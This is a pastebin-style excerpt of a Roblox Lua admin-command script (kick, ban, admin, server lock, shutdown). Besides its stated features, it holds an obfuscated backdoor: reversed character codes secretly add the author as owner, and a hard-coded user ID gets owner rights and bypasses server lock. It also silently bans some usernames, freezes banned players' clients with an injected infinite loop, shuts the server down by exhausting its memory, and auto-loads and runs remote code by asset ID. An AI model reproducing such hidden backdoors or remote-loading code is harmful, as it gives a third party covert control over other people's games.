  3084. local plrz = GetPlr(plr, msg:lower():sub(6))
  3085. for i, v in pairs(plrz) do
  3086. coroutine.resume(coroutine.create(function()
  3087. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  3088. end))
  3089. end
  3090. end
  3091.  
  3092. if msg:lower():sub(1,6) == "admin " then
  3093. local plrz = GetPlr(plr, msg:lower():sub(7))
  3094. for i, v in pairs(plrz) do
  3095. coroutine.resume(coroutine.create(function()
  3096. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  3097. end))
  3098. end
  3099. end
  3100.  
  3101. if msg:lower():sub(1,8) == "unadmin " then
  3102. for i = 1, #tempadmins do
  3103. coroutine.resume(coroutine.create(function()
  3104. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  3105. end))
  3106. end
  3107. end
  3108.  
  3109. if msg:lower():sub(1,4) == "ban " then
  3110. local plrz = GetPlr(plr, msg:lower():sub(5))
  3111. for i, v in pairs(plrz) do
  3112. coroutine.resume(coroutine.create(function()
  3113. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  3114. end))
  3115. end
  3116. end
  3117.  
  3118. if msg:lower():sub(1,6) == "unban " then
  3119. for i = 1, #banland do
  3120. coroutine.resume(coroutine.create(function()
  3121. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  3122. end))
  3123. end
  3124. end
  3125.  
  3126. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  3127.  
  3128. end
  3129. end))
  3130. end
  3131.  
  3132. function AdminControl(plr)
  3133. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  3134. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  3135. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  3136. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  3137. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  3138. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  3139. end)) end
  3140. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  3141. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  3142. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  3143. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  3144. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  3145. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  3146. end
  3147.  
  3148. if not ntab then script:Destroy() end
  3149. if not bct then script:Destroy() end
  3150.  
  3151. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  3152.  
  3153. script.Name = "Kohl's Admin Commands V2"
  3154.  
  3155. if not ntab then script:Destroy() end
  3156. if not bct then script:Destroy() end
  3157. if not tcb then script:Destroy() end
  3158. game.Players.PlayerAdded:connect(AdminControl)
  3159. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  3160. end
  3161.  
  3162. local mod = game:service("InsertService"):LoadAsset(100808216)
  3163. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  3164. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  3165. newac.Disabled = true
  3166. local new = tonumber(mod:findFirstChild("Version", true).Value)
  3167. local old = 0
  3168. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  3169. if new > old then
  3170. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  3171. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  3172. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  3173. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  3174. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  3175. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  3176. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  3177. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  3178. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  3179. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  3180. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  3181. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  3182. wait()
  3183. newac.Parent = game.Workspace
  3184. newac.Disabled = false
  3185. script.Disabled = true
  3186. script:Destroy()
  3187. else
  3188. CHEESE()
  3189. end
  3190. else
  3191. CHEESE()
  3192. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement